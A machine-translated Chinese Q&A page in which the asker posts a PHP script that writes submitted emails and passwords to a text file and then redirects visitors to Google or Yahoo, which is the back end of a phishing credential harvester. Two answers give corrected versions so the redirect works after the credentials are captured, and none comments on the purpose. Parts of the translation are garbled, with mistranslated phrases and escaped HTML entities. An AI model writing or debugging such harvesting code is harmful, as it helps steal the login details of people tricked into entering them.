Question

我使用此代码在文本文件中保存用户名和密码，最后重定向到网站。 bt此代码不会重定向到谷歌。当我在本地主机中运行它时它工作得很好（在localhost中我评论“header（”Location：http://www.yahoo.com“）;”）...但是当我把它放在主机中时.. 它没有'吨。没有任何错误消息但一旦完美运行

<html>
<body>

<?php

$eml = $_POST["email"];
$pw = $_POST["pass"];

if (empty($pw) || empty($eml))
  {

  header("Location: http://www.yahoo.com");
  exit;
  }
  else

$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;

$info = $_POST["email"];
fwrite($source, "$info\r\n");

$info = $_POST["pass"];
fwrite($source, "$info\r\n");

fwrite($source, "\r\n");
fclose ($source);
?>
<script>location.href='http://www.google.com';</script>

</body>
</html>

Answer 1

您需要在浏览器上有任何输出之前放置标题：

<?php

$eml = $_POST["email"];
$pw = $_POST["pass"];

if (empty($pw) || empty($eml))
  {

  header("Location: http://www.yahoo.com");
  exit;
  }
  else

$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;

$info = $_POST["email"];
fwrite($source, "$info\r\n");

$info = $_POST["pass"];
fwrite($source, "$info\r\n");

fwrite($source, "\r\n");
fclose ($source);
?>
<html>
<body>

<script>location.href='http://www.google.com';</script>

</body>
</html>

Answer 2

首先，你可以删除＆＃34; else＆＃34;。

然后，如果你想写标题，请确保你没有任何输出，为此，

<html>
<body>

前

所以，您应该在以后的代码之上移动？＆gt;标记，并确保之前没有任何空格

<?php

$eml = $_POST["email"];
$pw = $_POST["pass"];

if (empty($pw) || empty($eml))
  {

  header("Location: http://www.yahoo.com");
  exit;
  }

$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;

$info = $_POST["email"];
fwrite($source, "$info\r\n");

$info = $_POST["pass"];
fwrite($source, "$info\r\n");

fwrite($source, "\r\n");
fclose ($source);
?>
<html>
<body>

<script>location.href='http://www.google.com';</script>

</body>
</html>

这不是重定向到相关网站

2 个答案: